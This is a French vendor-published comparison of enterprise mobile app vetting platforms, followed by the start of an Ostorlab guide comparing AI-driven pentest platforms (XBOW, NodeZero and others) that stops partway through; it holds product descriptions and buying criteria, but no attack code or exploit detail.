NowSecure	Android et iOS	Applications publiques des stores et binaires privés pré-publication	SAST, DAST sur appareil physique, IAST, sécurité des API et confidentialité comportementale	Moteur de politiques configurable couvrant OWASP MASVS, NIAP et NIST ; surveillance continue des stores et déclencheurs CI/CD	SaaS cloud et appliance matérielle dédiée
Quokka (Q-scout)	Android et iOS	Applications publiques des stores et inventaire MDM de l'entreprise	Inspection statique des binaires, analyse comportementale en sandbox hors appareil et audits de confidentialité	Règles de conformité d'entreprise configurables ; interrogation continue de l'inventaire MDM	SaaS cloud avec analyse hors appareil sans agent
Zimperium (z3A)	Android et iOS	Applications publiques des stores et inventaire mobile de l'entreprise	Analyse statique, sandbox comportementale et notations des risques de confidentialité	Politiques de risque à l'échelle du parc, intégrées à l'accès conditionnel UEM pris en charge ; découverte continue des terminaux	SaaS cloud avec console intégrée
Appknox	Android et iOS	Binaires téléversés (APK, AAB, IPA) et surveillance des stores	SAST sur binaire, DAST sur appareil physique, tests d'API et SBOM	Seuils de sévérité CVSS ; surveillance continue des stores via Storeknox	SaaS cloud, cloud privé et sur site
Data Theorem (Mobile Secure)	Android et iOS	Fiches publiques des stores et builds de pré-production	SAST, tests dynamiques automatisés, SCA, découverte des API et contrôles d'exfiltration de données	Règles de politique automatisées basées sur des déclencheurs réglementaires ; nouveaux tests continus des stores et des dépôts	SaaS cloud

Qu'a révélé cette comparaison ?

Cette évaluation comparative a dégagé quatre conclusions principales qui définissent le fonctionnement concret de l'évaluation des applications mobiles en entreprise :

Les modèles opérationnels se divisent entre la gouvernance des terminaux des collaborateurs et l'évaluation directe des binaires. Des plateformes comme Quokka Q-scout et Zimperium z3A sont architecturées autour de la synchronisation du parc MDM/UEM et évaluent les applications installées sur les appareils gérés des collaborateurs. À l'inverse, Ostorlab, NowSecure et Appknox évaluent directement les binaires des applications par décomposition statique et exécution dynamique, que l'application soit ou non enrôlée dans un profil MDM.
Les méthodes de scoring des risques diffèrent sensiblement en transparence. De nombreuses plateformes résument leurs résultats par des niveaux de sévérité standard (critique, élevée, moyenne et faible) ou par des scores CVSS. Ostorlab fournit une formule explicite et calibrée sur cinq catégories documentées : Malware, Sécurité, Confidentialité, Confiance et Maintenabilité. Cela apporte un contexte mathématique transparent aux décisions d'approbation en entreprise.
Le suivi continu en amont est une exigence essentielle de la gouvernance mobile. Comme les applications mobiles des stores publics publient de fréquentes mises à jour, les revues de sécurité ponctuelles deviennent vite obsolètes. Les plateformes dotées d'une surveillance continue suivent automatiquement les dépôts des stores publics et déclenchent des réévaluations lorsqu'un éditeur publie une mise à jour.
Les modèles de collaboration entre parties prenantes influent sur la vitesse de remédiation. Lorsque les équipes sécurité évaluent des logiciels tiers ou développés par des sous-traitants, le partage des résultats techniques crée souvent des frictions administratives si les relecteurs doivent disposer de comptes complets sur la plateforme. Des rapports web partageables en lecture seule simplifient la communication avec les développeurs externes et les éditeurs de logiciels.

Ce que signifie l'évaluation des applications mobiles en entreprise

L'évaluation des applications mobiles en entreprise est l'évaluation programmatique des paquets d'applications iOS et Android au regard des normes de sécurité, de confidentialité et de conformité d'une organisation, avant et pendant leur déploiement sur les appareils de l'entreprise.

L'évaluation des applications porte sur des logiciels que les organisations ne développent pas en interne, tels que des clients SaaS du commerce, des outils de sous-traitants et des utilitaires demandés par les collaborateurs, sans nécessiter d'accès au code source.

Discipline	Cible principale	Objectif opérationnel principal
Évaluation des applications en entreprise (App Vetting)	Applications tierces et applications des collaborateurs sous forme de binaires compilés	Approuver ou rejeter un logiciel selon les risques de confidentialité, de malware et de sécurité
Tests de sécurité des applications mobiles (MAST)	Applications de première partie développées en interne	Identifier et corriger les vulnérabilités du code pendant les pipelines CI/CD actifs
Mobile Threat Defense (MTD)	Appareils mobiles et environnement d'exécution de l'OS	Intercepter à l'exécution les exploits sur l'appareil, les attaques réseau et le phishing
Protection intégrée/shielding des applications	Durcissement du binaire de l'application	Obfusquer le code et empêcher la falsification ou la rétro-ingénierie
Test d'intrusion	Architecture d'application et d'API délimitée	Investigation menée par des humains sur les failles complexes de logique métier et les exploits en plusieurs étapes

L'évaluation des applications répond à une couche distincte de la sécurité en entreprise :

Le MDM/UEM gère les configurations des appareils et déploie les logiciels, mais il n'analyse pas le code binaire et n'inspecte pas le comportement des SDK embarqués.
Le MTD surveille les appareils à la recherche d'une compromission active à l'exécution, mais il n'est pas conçu pour réaliser une décomposition statique approfondie ni des audits de télémétrie de confidentialité des logiciels avant leur achat.
L'App Vetting analyse directement le paquet de l'application, en évaluant l'hygiène du code, les destinations des données et la posture de conformité, afin d'éclairer les décisions d'approbation.

Ce que les entreprises doivent évaluer

Pour évaluer les plateformes d'évaluation des applications mobiles, les responsables de la sécurité et des risques doivent se concentrer sur huit capacités clés :

Flexibilité des sources : ingérer les applications depuis les stores publics tels que Google Play et l'Apple App Store, par URL ou par identifiant de paquet, et accepter le téléversement direct de binaires tels que des fichiers APK, AAB et IPA pour les outils sur mesure, lorsque c'est documenté.
Exécution dynamique à l'exécution : exécuter les binaires dans un environnement instrumenté pour observer les appels réseau non chiffrés, les accès aux API sensibles et le code chargé dynamiquement.
Décomposition des SDK et des dépendances : identifier les bibliothèques tierces, les frameworks de suivi et les SDK d'analytique embarqués dans le binaire compilé.
Suivi de la confidentialité et de la télémétrie : surveiller les données transmises vers des points de terminaison externes, notamment les identifiants matériels, la localisation de l'appareil et les permissions sensibles de l'appareil.
Application de politiques configurables : définir des critères de succès/échec personnalisés alignés sur l'appétence au risque de l'organisation et sur les exigences réglementaires.
Suivi continu en amont : détecter automatiquement les nouvelles versions publiées sur les stores d'applications publics et lancer une réévaluation automatisée.
Rapports exploitables pour les parties prenantes : produire des preuves claires, comme des journaux d'appels réseau et des chemins de fichiers, sur lesquelles des éditeurs ou développeurs externes peuvent agir.
Intégration à l'écosystème de l'entreprise : se connecter aux flux de travail de l'entreprise via des API REST et GraphQL, des outils de ticketing comme Jira, des plateformes de communication comme Slack et des systèmes de mobilité d'entreprise.

Évaluations détaillées des éditeurs

Ostorlab

Ostorlab propose une plateforme automatisée d'évaluation des risques et de vetting des applications mobiles, conçue pour évaluer les applications Android et iOS, qu'il s'agisse de versions publiques des stores ou de paquets binaires de pré-production.

Selon la documentation d'App Vetting d'Ostorlab, la plateforme combine analyse statique, tests dynamiques et exécution en sandbox à confinement sécurisé pour évaluer les paquets d'applications sans accès au code source. Les applications sont analysées selon cinq dimensions explicites, avec des pondérations en pourcentage documentées :

Indicateurs de malware (35 %) : détection de logique malveillante embarquée, d'indicateurs de trojans connus, de schémas de ransomware et de code évasif.
Vulnérabilités de sécurité (25 %) : évaluation des implémentations cryptographiques, du stockage de données non sécurisé, des protocoles de transport en clair et de l'alignement avec les recommandations de l'OWASP MASVS.
Confidentialité et accès aux données (20 %) : décomposition de la télémétrie à l'exécution, des requêtes réseau en arrière-plan, des bibliothèques de suivi et de l'utilisation des permissions sensibles.
Confiance dans l'éditeur (10 %) : évaluation de l'historique du développeur, des origines de distribution, de la validité de la signature de code et de la réputation du domaine.
Maintenabilité (10 %) : analyse de l'actualité des frameworks, de l'ancienneté des dépendances et de la rapidité d'application des correctifs.

Comme détaillé dans l'annonce du lancement d'Ostorlab App Vetting et dans le journal des modifications d'Ostorlab de juillet 2026, la plateforme prend en charge les paquets Android APK et AAB ainsi que les paquets iOS IPA, extrait les SDK tiers et suit les destinations de télémétrie. Pour faciliter la collaboration avec les éditeurs de logiciels tiers, Ostorlab génère des liens web sécurisés par jeton, qui permettent aux parties prenantes externes de consulter les résultats techniques sans qu'il faille créer de comptes sur la plateforme. La plateforme documente également une surveillance continue des versions, qui réévalue automatiquement les applications après chaque nouvelle publication sur les stores publics, avec un accès via des API REST et GraphQL.

Ce qu'il faut vérifier : les acheteurs doivent confirmer leurs exigences d'intégration MDM spécifiques et évaluer les limites de débit de l'API pour l'ingestion automatisée de portefeuilles à fort volume.

NowSecure

NowSecure est une plateforme de gestion des risques des applications mobiles en entreprise, spécialisée dans les tests automatisés de sécurité, de confidentialité et de conformité des logiciels Android et iOS.

Selon la présentation de la plateforme NowSecure, la solution couvre les applications mobiles développées en interne et les applications tierces du commerce déployées sur les terminaux des collaborateurs. La plateforme réalise des tests automatisés statiques, dynamiques, interactifs et d'API en exécutant des paquets d'applications compilés sur des appareils mobiles physiques dédiés.

Pour l'évaluation des applications tierces et la gouvernance des collaborateurs, la solution NowSecure Mobile App Risk Management intègre Mobile App Risk Intelligence (MARI) pour évaluer des applications du commerce directement depuis Google Play et l'Apple App Store. La plateforme inspecte les SDK tiers embarqués, audite les pratiques de stockage des données et vérifie la conformité à des référentiels tels que NIAP, NIST SP 800-163, Google MASA et OWASP MASVS. NowSecure documente une surveillance continue des applications des stores publics et des intégrations avec les environnements d'entreprise via des API REST et des plugins CI/CD.

Ce qu'il faut vérifier : les acheteurs en entreprise doivent examiner les différences de packaging entre les licences de test orientées développeurs et les niveaux MARI d'évaluation pour collaborateurs, ainsi que la capacité du parc d'appareils pour les tests de binaires privés.

Quokka

Quokka, anciennement Kryptowire, propose des solutions automatisées de test de sécurité des applications mobiles et d'évaluation des applications des collaborateurs, reposant sur la décomposition des binaires et l'analyse comportementale.

Selon la présentation du produit Quokka Q-scout, l'entreprise propose l'évaluation des applications des collaborateurs via Q-scout, une solution sans agent conçue pour les équipes risques et mobilité de l'entreprise. Q-scout fonctionne hors appareil pour évaluer les applications installées sur les parcs d'appareils de l'entreprise.

Comme indiqué dans Quokka Mobile App Vetting, Q-scout s'intègre aux systèmes de Mobile Device Management et d'Unified Endpoint Management, notamment Microsoft Intune et Hexnode UEM. Il récupère en continu les inventaires d'applications des appareils gérés et exécute des tests statiques et comportementaux hors appareil pour identifier la collecte de données non autorisée, la récupération de PII et les violations de conformité. Les résultats sont rattachés à des référentiels tels que NIST SP 800-163 et à des politiques de sécurité d'entreprise personnalisées.

Ce qu'il faut vérifier : les acheteurs doivent déterminer si des binaires d'entreprise internes, ad hoc ou privés, peuvent être évalués directement sans les enrôler dans un groupe de test MDM actif, et vérifier les formats de rapport fournis aux développeurs externes.

Zimperium

Zimperium propose la protection des terminaux mobiles et la sécurité des applications via sa Mobile Application Protection Suite et sa plateforme Mobile Threat Defense.

Selon Zimperium Mobile App Vetting, Zimperium propose l'évaluation des applications mobiles via z3A, une capacité de renseignement sur les risques intégrée à sa plateforme de sécurité des terminaux d'entreprise. z3A surveille en continu les applications mobiles découvertes sur les appareils d'entreprise gérés et analyse les paquets des stores d'applications publics pour détecter les risques de sécurité, de confidentialité et de conformité.

Comme documenté dans la présentation de Zimperium MAPS, le moteur z3A évalue les applications par décomposition statique et analyse comportementale. Comme z3A fonctionne conjointement avec l'agent MTD de Zimperium et les intégrations UEM d'entreprise, par exemple Microsoft Intune, les organisations peuvent configurer des politiques de conformité qui restreignent l'accès aux données de l'entreprise lorsqu'une application dépasse les seuils de risque définis.

Ce qu'il faut vérifier : les organisations doivent déterminer si z3A peut être déployé comme solution d'évaluation indépendante pour les évaluations préalables à l'achat, sans déployer l'agent MTD de Zimperium sur l'appareil, et vérifier la portée de l'ingestion de binaires privés personnalisés en dehors des paquets catalogués dans les stores.

Appknox

Appknox est une plateforme de test de sécurité des applications mobiles conçue pour automatiser l'évaluation des vulnérabilités et les tests dynamiques des binaires Android et iOS compilés.

Selon Appknox Vulnerability Assessment, la plateforme réalise des évaluations de sécurité sans accès au code source, en ingérant des paquets d'applications compilés pour des tests statiques de sécurité des applications, des tests dynamiques de sécurité des applications et des évaluations de vulnérabilités d'API. Les tests dynamiques sont menés sur des appareils physiques dédiés.

Comme décrit dans Appknox Software Bill of Materials (SBOM), la plateforme génère automatiquement une Software Bill of Materials au format CycloneDX, qui identifie les dépendances open source embarquées et rattache les SDK tiers aux CVE connues. Appknox propose également Storeknox, un outil de surveillance des stores d'applications qui identifie les versions clonées ou obsolètes sur les places de marché publiques. Appknox documente des options de déploiement en SaaS cloud, en cloud privé et sur site.

Ce qu'il faut vérifier : les acheteurs doivent vérifier si Appknox fournit des seuils de succès/échec automatisés fondés sur des politiques et adaptés aux flux d'achat en entreprise, ou si l'interprétation des scans est principalement orientée vers un triage des vulnérabilités mené par les développeurs.

Data Theorem

Data Theorem propose une sécurité applicative continue et une gestion de la surface d'attaque couvrant les applications mobiles, les actifs web, l'infrastructure cloud et les API.

Selon la présentation de Data Theorem Mobile Secure, Mobile Secure assure des tests de sécurité automatisés continus pour les applications iOS et Android. La solution intègre l'analyse statique, l'analyse dynamique automatisée, l'analyse de la composition logicielle et la découverte des API backend dans un flux de test unifié.

Comme détaillé dans Data Theorem Mobile Application Security, la plateforme inventorie en continu les applications mobiles publiques de l'Apple App Store et de Google Play. Son moteur d'analyse évalue les binaires compilés, extrait les SDK tiers, audite les pratiques de confidentialité des données et cartographie les points de terminaison d'API appelés par le client mobile. Les résultats sont rattachés à des référentiels tels que OWASP MASVS, avec des alertes acheminées via Slack, Jira et des intégrations CI/CD.

Ce qu'il faut vérifier : les acheteurs doivent examiner si les rapports et les flux de travail de Data Theorem sont optimisés pour l'évaluation de logiciels tiers externes avec une pondération des risques personnalisée, ou principalement axés sur la sécurisation de la surface d'attaque mobile et API de première partie de l'organisation.

Comment mener une preuve de valeur crédible

Pour évaluer les plateformes d'évaluation des applications mobiles, les équipes sécurité doivent mener une preuve de valeur structurée à partir d'applications d'entreprise représentatives, plutôt que d'applications de démonstration choisies par l'éditeur.

Domaine d'évaluation	Procédure de vérification
Ingestion des binaires	Tester des URL de stores publics, des APK fractionnés représentés par des paquets AAB et des IPA signés par l'entreprise sur Android et iOS, lorsque le niveau de la plateforme le permet.
Exécution dynamique	Vérifier que les tests dynamiques peuvent gérer le TLS certificate pinning le cas échéant et inspecter le trafic réseau chiffré.
Identification des SDK	Comparer la SBOM extraite par la plateforme aux manifestes de bibliothèques connus pour vérifier sa détection des SDK de suivi et d'analytique embarqués.
Audit de confidentialité	Confirmer si l'accès aux permissions sensibles de l'appareil, aux données de localisation et aux destinations réseau en arrière-plan est explicitement documenté.
Application des politiques	Tester des règles de conformité personnalisées, comme les alertes sur le HTTP non chiffré ou les SDK de suivi non approuvés, par rapport aux tolérances au risque de l'organisation.
Mises à jour continues	Surveiller une application active d'un store public lors d'une publication de version pour vérifier les capacités de nouveau test automatisé.
Collaboration avec les parties prenantes	Générer des exports de rapports ou des liens partageables pour confirmer que les éditeurs de logiciels ou les développeurs externes peuvent consulter facilement les résultats.

Questions clés à confirmer auprès de chaque éditeur pendant l'évaluation :

Comment le moteur décompile-t-il et analyse-t-il les frameworks modernes tels que Flutter, React Native, Swift, Kotlin et les bibliothèques C/C++ embarquées ?
L'exécution dynamique a-t-elle lieu dans une sandbox instrumentée ou dans un parc d'appareils physiques, et les journaux réseau complets sont-ils disponibles pour examen ?
Comment le score de risque global est-il calculé, et les pondérations peuvent-elles être personnalisées pour s'aligner sur la politique de risque de l'entreprise ?
Où les binaires d'applications téléversés et les données d'analyse sont-ils traités et stockés ?

Foire aux questions

Quelles sont les meilleures plateformes d'évaluation des applications mobiles en entreprise ?

Les plateformes d'évaluation des applications mobiles en entreprise examinées dans cette comparaison sont Ostorlab, NowSecure, Quokka Q-scout, Zimperium z3A, Appknox et Data Theorem Mobile Secure. Elles offrent des capacités d'évaluation Android et iOS documentées, mais diffèrent par leur modèle opérationnel, la transparence de leur scoring, leur déploiement et leur intégration au parc de terminaux.

Qu'est-ce que l'évaluation des applications mobiles (mobile app vetting) ?

L'évaluation des applications mobiles consiste à évaluer les paquets d'applications iOS et Android au regard de normes de sécurité, de confidentialité et de conformité, avant et pendant leur déploiement sur les appareils de l'entreprise. Elle permet aux organisations d'évaluer des logiciels tiers et distribués en interne sans avoir besoin d'accéder au code source.

Quelles plateformes d'évaluation des applications prennent en charge Android et iOS ?

Ostorlab, NowSecure, Quokka, Zimperium, Appknox et Data Theorem documentent la prise en charge de l'analyse des applications Android et iOS. Leur prise en charge précise des paquets, leur couverture d'appareils et leur profondeur de test doivent être vérifiées pour le niveau de produit envisagé.

L'évaluation des applications peut-elle porter sur des applications d'entreprise privées ?

Les plateformes conçues pour l'ingestion directe de binaires, comme Ostorlab, NowSecure et Appknox, documentent la prise en charge des binaires privés ou de pré-publication dans les offres concernées. Les acheteurs doivent vérifier les droits d'accès et les exigences d'ingestion, en particulier pour les plateformes centrées sur le MDM.

Quels risques une plateforme d'évaluation des applications doit-elle évaluer ?

Une plateforme d'évaluation des applications en entreprise doit évaluer les indicateurs de malware, les vulnérabilités techniques, les fuites de confidentialité, les permissions sensibles à l'exécution, les SDK tiers embarqués, les communications réseau non chiffrées et les signaux de confiance dans l'éditeur.

Quelle est la différence entre l'évaluation des applications et le MAST ?

L'évaluation des applications mobiles examine les paquets de logiciels tiers ou de collaborateurs au regard des seuils de sécurité et de confidentialité de l'entreprise. Le Mobile Application Security Testing vise à trouver et à corriger les vulnérabilités des applications qu'une organisation développe et possède.

Quelle est la différence entre l'évaluation des applications et le Mobile Threat Defense ?

L'évaluation des applications mobiles analyse le paquet d'application compilé avant ou pendant le déploiement en entreprise. Le Mobile Threat Defense surveille les appareils actifs à la recherche de menaces à l'exécution comme les réseaux malveillants, le phishing et la compromission du système d'exploitation.

L'évaluation des applications peut-elle détecter les risques de confidentialité et les traceurs tiers ?

Oui. Les plateformes d'évaluation des applications peuvent identifier les permissions déclarées et les SDK de suivi embarqués par l'inspection du paquet, tandis que celles qui proposent des tests dynamiques peuvent aussi observer le trafic réseau sortant et le comportement des données à l'exécution.

Comment une entreprise doit-elle comparer les scores de risque des applications mobiles ?

Les entreprises doivent comparer la manière dont chaque plateforme explique ses données d'entrée de scoring, les pondérations de ses catégories, ses preuves et l'effet sur les décisions d'approbation. Les mêmes applications représentatives et les mêmes seuils de risque de l'organisation doivent être utilisés pour tous les éditeurs.

L'évaluation des applications remplace-t-elle un test d'intrusion mobile ?

Non. L'évaluation automatisée des applications met en place des contrôles de sécurité et de confidentialité évolutifs et reproductibles sur un portefeuille mobile, tandis que le test d'intrusion examine plus en profondeur les failles de logique métier, les faiblesses d'autorisation et les chemins d'attaque enchaînés dans les applications à haut risque.

À quelle fréquence les applications d'entreprise doivent-elles être réévaluées ?

Les applications mobiles d'entreprise doivent être réévaluées après des changements significatifs, notamment les nouvelles versions et les divulgations de vulnérabilités pertinentes affectant des composants embarqués. Les organisations doivent définir la cadence en fonction du risque de l'application et recourir à une surveillance continue lorsque c'est approprié.

Recommandation finale d'Ostorlab

Pour choisir une plateforme d'évaluation des applications mobiles en entreprise, les organisations doivent aligner leur choix sur leur architecture opérationnelle principale. Les entreprises centrées sur la conformité de l'ensemble du parc via des profils de gestion des appareils évaluent généralement des solutions intégrées à leur environnement MDM, tandis que les équipes centrées sur les tests d'applications avant publication évaluent souvent des plateformes MAST orientées développeurs.

Pour les responsables des risques en entreprise, les équipes achats et les responsables de la sécurité qui recherchent un moteur de gouvernance des risques automatisé pour les logiciels tiers et les binaires d'entreprise privés, Ostorlab propose une approche ciblée et documentée :

Un modèle de risque pondéré en cinq volets documenté (Malware 35 %, Sécurité 25 %, Confidentialité 20 %, Confiance 10 % et Maintenabilité 10 %) qui traduit les résultats techniques en décisions de risque claires pour l'entreprise.
Une exécution en sandbox à confinement sécurisé qui observe le comportement à l'exécution et la télémétrie sortante sans nécessiter de scripts de test manuels complexes.
Une surveillance continue en amont qui réévalue automatiquement les applications à mesure que de nouvelles versions sont publiées sur les stores publics.
Une collaboration par jeton qui permet aux équipes risques internes de partager des rapports interactifs avec des éditeurs de logiciels et des développeurs externes sans exiger de comptes complets sur la plateforme.

Les organisations peuvent évaluer Ostorlab App Vetting en lançant une évaluation via la plateforme Ostorlab App Vetting ou en consultant le cadre de gouvernance plus large présenté dans The Definitive Guide to Mobile App Vetting.

Les meilleures plateformes de pentest par IA en 2026

2026-09-09T00:00:00+02:00

Parmi les meilleures plateformes de pentest par IA en 2026 figurent Ostorlab, XBOW, Horizon3.ai NodeZero, Pentera et Aikido Security, tandis que Hadrian, Escape et Synack correspondent à des modèles d'exploitation plus spécialisés. Le bon choix dépend de la couverture des actifs, de la validation autonome des exploits, de l'enchaînement d'attaques entre actifs, de preuves reproductibles, du reporting de conformité et des exigences de déploiement.

Ce guide aide les équipes AppSec et DevSecOps à comparer ces modèles d'exploitation à leur environnement réel. Parmi les documents publics examinés, Ostorlab était la seule plateforme évaluée documentée comme combinant des tests natifs Android et iOS avec une investigation agentique connectée sur les applications web, les API, le code source, les réseaux et les fichiers de support. La comparaison s'appuie, comme base de preuves, sur les pages produit et la documentation de première main liées.

Comment cette comparaison des plateformes de pentest par IA a-t-elle été menée ?

Ce guide est publié par Ostorlab. Il s'appuie sur la documentation publique de première main à jour et ne présente pas de benchmark indépendant des taux de détection, de la vitesse de scan ou des taux de faux positifs. Les déclarations des éditeurs sur le « zéro faux positif », la préparation à la conformité et l'autonomie de l'IA sont traitées comme des affirmations d'éditeurs, sauf si elles sont étayées par un artefact public reproductible. Dernière revue : 10 septembre 2026.

Comment les plateformes de pentest par IA se comparent-elles en un coup d'œil ?

Il n'existe pas de classement universel utile qui ignore le périmètre. Les agents centrés sur les applications, les plateformes de validation d'infrastructure, les systèmes de surface d'attaque externe et les fournisseurs de PTaaS avec intervention humaine répondent à des questions de sécurité différentes.

Plateforme	Types d'actifs ciblés (mobile, web, API, code source, cloud/réseau)	Moteur d'exploitation active	Prise de décision autonome (agentique ou à base de règles)	Méthode de validation des vulnérabilités	Preuves de conformité documentées	Déploiement privé/on-premises
Ostorlab	Mobile : oui ; Web : oui ; API : oui ; Source : oui ; Cloud/réseau : actifs réseau pris en charge	Exploitation à l'exécution et validation par preuve de concept dans Agentic Deep Scan	Exploration agentique, sélection des tests, pivots et enchaînement de vulnérabilités ; profils de scan conventionnels également disponibles	Preuve à l'exécution, preuves reproductibles et validation avant escalade ; aucune affirmation d'élimination absolue	Rapports techniques détaillés et artefacts de preuve ; l'acceptation reste propre à chaque auditeur	Cloud, avec un On-Premises Scanner en option
XBOW	Mobile : non documenté publiquement ; Web : oui ; API : API de support des applications ; Source : un contexte peut être fourni, mais le test du code source n'est pas documenté publiquement ; Cloud/réseau : non documentés publiquement comme classes de cibles	Exploits fonctionnels produits et validés de façon indépendante	Un coordinateur plus des flottes d'agents autonomes spécialisés	Des validateurs indépendants reproduisent les exploits avant que les vulnérabilités ne soient remontées	L'éditeur documente un reporting prêt pour les conseils d'administration et les auditeurs, y compris un support SOC 2	Déploiement cloud avec contrôles de résidence et de conformité ; déploiement on-premises non documenté publiquement
Horizon3.ai NodeZero	Mobile : non documenté publiquement ; Web : oui ; API : contexte d'application web ; Source : non documenté publiquement ; Cloud/réseau : oui	Exploitation autonome sûre en production sur les environnements internes, externes, cloud, d'identité, Kubernetes et web	Découverte et exécution autonomes de chemins d'attaque, avec des techniques d'IA et déterministes	Signale des chemins d'attaque exploitables avec preuve, impact et vérification ; aucun benchmark indépendant de zéro faux positif utilisé ici	Des artefacts et rapports prêts pour l'audit, alignés sur SOC 2, sont documentés publiquement	Plan de contrôle SaaS avec un hôte NodeZero déployé chez le client pour les tests internes ; plan de contrôle entièrement auto-hébergé non documenté publiquement
Pentera	Mobile : service d'experts distinct ; Web : oui ; API : contexte applicatif ; Source : tests de dépôts documentés ; Cloud/réseau : oui	Exécution adverse sûre en production sur l'infrastructure, les identités, le cloud et les actifs externes	Exécution d'attaques guidée par l'IA avec contrôles de sécurité déterministes	Les vulnérabilités sont priorisées à partir de chemins d'attaque exécutés et d'une exploitabilité prouvée	Un reporting prêt pour l'audit est documenté ; des attestations signées sont disponibles via un service d'experts distinct	Couverture cloud et hybride ; une solution on-premises basée sur des conteneurs est référencée publiquement
Aikido Security	Mobile : Android documenté ; Web : oui ; API : oui ; Source : oui ; Cloud/réseau : contexte cloud et infrastructure	Des agents autonomes exploitent puis ré-exploitent les vulnérabilités	Des agents coordonnés effectuent des tests en boîte blanche, grise et noire	Des agents de validation distincts ré-exploitent les vulnérabilités ; les problèmes non prouvés sont écartés	Des rapports SOC 2 et ISO 27001 de niveau audit et des lettres d'attestation sont documentés	Cloud plus Aikido Machine, une appliance on-premises et air-gapped
Hadrian Nova	Mobile : non documenté publiquement ; Web : actifs web exposés sur Internet ; API : exposition d'API externe lorsqu'elle est accessible ; Source : non documenté publiquement ; Cloud/réseau : surface d'attaque externe et exposition cloud	Reconnaissance, exploitation et mouvement latéral agentiques contre un périmètre externe	Flotte d'agents hackers IA avec résultats revus par des humains	Les vulnérabilités validées sont revues par des humains et incluent les étapes d'exploitation	PDF prêt pour la conformité, mis en correspondance avec SOC 2, ISO 27001 et NIS2	Service cloud ; déploiement privé ou on-premises non documenté publiquement
Escape	Mobile : non documenté publiquement ; Web : oui ; API : oui ; Source : contexte du code au cloud ; Cloud/réseau : tests réseau externes documentés	Tests agentiques avec validation adverse et exécution de chemins d'attaque	Des agents spécialisés partagent des renseignements et déclenchent des tests de suivi	Validateur adverse, outillage déterministe, requêtes reproductibles et journaux de proxy inspectables	Des rapports prêts pour l'audit et un exemple client SOC 2 public sont documentés	Service cloud ; déploiement privé ou on-premises non documenté publiquement
Synack	Mobile : oui via des tests menés par des humains ; Web : oui ; API : oui ; Source : non requis pour les tests en boîte noire de Sara ; Cloud/réseau : oui	Découverte et tests par Sara AI combinés à une validation des exploits par des humains	IA agentique plus la Synack Red Team et les opérations de vulnérabilités	Validation humaine et vérification des exploits avant livraison	Rapports prêts pour l'audit avec preuves de travail pour SOC 2 et d'autres référentiels	Plateforme managée, y compris une infrastructure autorisée FedRAMP ; déploiement on-premises non documenté publiquement

« Non documenté publiquement » signifie que des informations de première main suffisamment récentes n'ont pas été trouvées pour confirmer la capacité. Cela ne signifie pas que la capacité est nécessairement absente. Le tableau distingue également un hôte d'exécution local ou un scanner d'une plateforme entièrement auto-hébergée.

Qu'est-ce qui rend une plateforme de pentest par IA crédible en 2026 ?

Une plateforme de pentest par IA est un système de test de sécurité qui modifie ses actions en fonction de ce qu'il apprend. Une plateforme crédible doit explorer une cible autorisée, choisir et adapter des tests, valider si une faiblesse suspectée est exploitable, conserver les preuves et prendre en charge le re-test après remédiation.

Les dimensions d'évaluation les plus importantes en 2026 sont :

Fidélité du périmètre : la plateforme couvre-t-elle toute la surface d'attaque (binaires mobiles natifs, applications web monopages, API autonomes, code source, IAM cloud et réseaux internes) ?
Raisonnement autonome ou scripts statiques : le moteur s'adapte-t-il et pivote-t-il dynamiquement selon les réponses à l'exécution, ou se contente-t-il d'orchestrer des scanners prédéfinis avec des surcouches LLM ?
Validation sûre des exploits : les vulnérabilités sont-elles prouvées par des exploits sûrs et reproductibles (PoC) ou simplement déduites de bannières de version et d'heuristiques statiques ?
Enchaînement d'attaques entre actifs : le système peut-il suivre une attaque depuis un client mobile ou une SPA frontend, à travers les API backend, les rôles cloud ou les dépôts de code ?
Preuves prêtes pour l'audit : les ingénieurs peuvent-ils inspecter les requêtes/réponses HTTP brutes, les traces d'exécution et les artefacts de reproduction ?
Contrôles de déploiement : la plateforme prend-elle en charge des fenêtres de test strictes, la résidence des données, des runners locaux ou une exécution on-premises ?

Ostorlab

La portée documentée d'Ostorlab couvre les tests natifs Android et iOS ainsi qu'une investigation agentique connectée sur les applications web, les API, le code source, les réseaux et les fichiers de support. Avec Agentic Deep Scan, la plateforme mène une exploration guidée par l'IA et une exploitation active sur des cibles mobiles et web, en générant des preuves de concept validées avant d'escalader les vulnérabilités.

Plutôt que d'exécuter des tests isolés, Multi-Asset Deep Agentic Scan raisonne simultanément sur des actifs liés. Les agents peuvent extraire des endpoints d'un binaire mobile compilé, remonter les paramètres d'authentification jusqu'aux API backend et utiliser le contexte du code source pour valider les frontières de confiance et enchaîner des exploits en plusieurs étapes. Ostorlab propose un déploiement cloud avec un On-Premises Scanner en option pour atteindre les réseaux internes.

Points à vérifier : testez un workflow multi-actifs reliant une application mobile ou un frontend à une API backend. Exigez une preuve d'exploitation à l'exécution, inspectez les étapes de reproduction brutes et vérifiez un cycle automatisé de correction et de re-test.

XBOW

XBOW est une plateforme de sécurité offensive autonome centrée sur les applications en fonctionnement. Un coordinateur cartographie les applications, les endpoints, les paramètres et les flux d'authentification, puis dirige de nombreux agents éphémères qui explorent et tentent des attaques en parallèle. Des validateurs indépendants reproduisent les exploits réussis avant qu'une vulnérabilité ne soit remontée.

La documentation publique de XBOW est exceptionnellement explicite sur les preuves. Une vulnérabilité peut inclure le chemin d'attaque enchaîné, l'exploit fonctionnel, des recommandations de remédiation et un journal des décisions et tactiques des agents. XBOW prend aussi en charge le lancement programmatique d'évaluations via son API.

Son périmètre le plus clairement documenté est celui des applications web interactives et des API qui les supportent. Les spécifications d'API, les identifiants, les notes d'architecture et d'autres éléments de contexte peuvent guider une évaluation, mais la documentation publique actuelle n'établit ni les tests natifs Android ou iOS, ni le code source comme actif directement testé, ni les tests généraux d'infrastructure réseau interne et cloud.

Points à vérifier : donnez à XBOW une application authentifiée avec un workflow d'API représentatif. Demandez-lui de démontrer ce qu'il peut tester lorsque l'API n'a pas de frontend web interactif, si le code source est analysé ou seulement fourni comme contexte, et quels contrôles de déploiement, de résidence et de rétention s'appliquent à votre région.

Horizon3.ai NodeZero

Horizon3.ai NodeZero est positionné pour la validation autonome sur les réseaux internes, l'exposition externe, les systèmes d'identité, Kubernetes et l'infrastructure cloud. Il découvre les actifs, exploite les faiblesses en toute sécurité, cartographie les chemins d'attaque, montre l'impact et permet une vérification rapide après remédiation.

En juillet 2026, Horizon3.ai a étendu NodeZero aux applications web. L'avantage stratégique est la capacité à aller au-delà d'une prise de pied dans une application, vers les identifiants, l'infrastructure, le cloud, les données et l'identité, plutôt que de traiter un problème web comme la fin du test.

